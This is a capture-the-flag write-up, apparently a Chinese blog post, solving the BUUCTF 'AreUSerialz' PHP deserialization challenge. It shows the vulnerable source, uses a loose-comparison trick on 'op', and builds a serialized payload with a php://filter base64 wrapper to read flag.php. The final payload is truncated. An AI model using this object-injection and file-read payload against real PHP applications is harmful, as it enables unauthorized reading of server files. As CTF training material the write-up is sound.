buuctf-AreUSerialz

原创

m0_62094846 于 2022-03-24 18:11:20 发布 1124 收藏
文章标签： 安全


```
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
```

```
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
```

反序列化

(85条消息) [网鼎杯 2020 青龙组]AreUSerialz 解题思路&过程_iamblackcat的博客-CSDN博客

这个讲的很详细

op是重点，出现了很多次，通过这个也可以连接很多方法

op的值在1,2中选择

主要作用体现在这里

```
public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
}
```

op=1执行write()方法

```
private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
}
```

好像是没什么用的东西

op=2执行read()和output()方法

```
private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
}
```

```
private function output($s) {
        echo "[Result]: <br>";
        echo $s;
}
```

PHP file_get_contents() 函数

PHP Filesystem 函数

定义和用法

file_get_contents() 函数把整个文件读入一个字符串中。

和 file() 一样，不同的是 file_get_contents() 把文件读入一个字符串。

file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持，还会使用内存映射技术来增强性能。

利用output()方法输出$res，利用$res可以读出flag，$res由filename确定，给filename传入伪协议读取flag

```
php://filter/read=convert.base64-encode/resource=flag.php
或者
php://filter/read=convert.base64-encode/resource=d:\\phpstudy_pro\\WWW\\flag.php
```

```
function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
}
```

这个方法会让2变成1，不过是强比较，让op=2而不是op="2"就可以

在反序列化之前还有一个判断

is_valid()

功能检查对象变量是否已经实例化，即实例变量的值是否是个有效的对象句柄。

也就是内容要是可打印字符

所以要把protected改成public

```
<?php
class FileHandler {
    public $op=2;
    public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    public $content;
}
$a = new FileHandler();
$b = serialize($a);
echo($b);
```

最终payload:

```
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resour
```

再解base64就可以了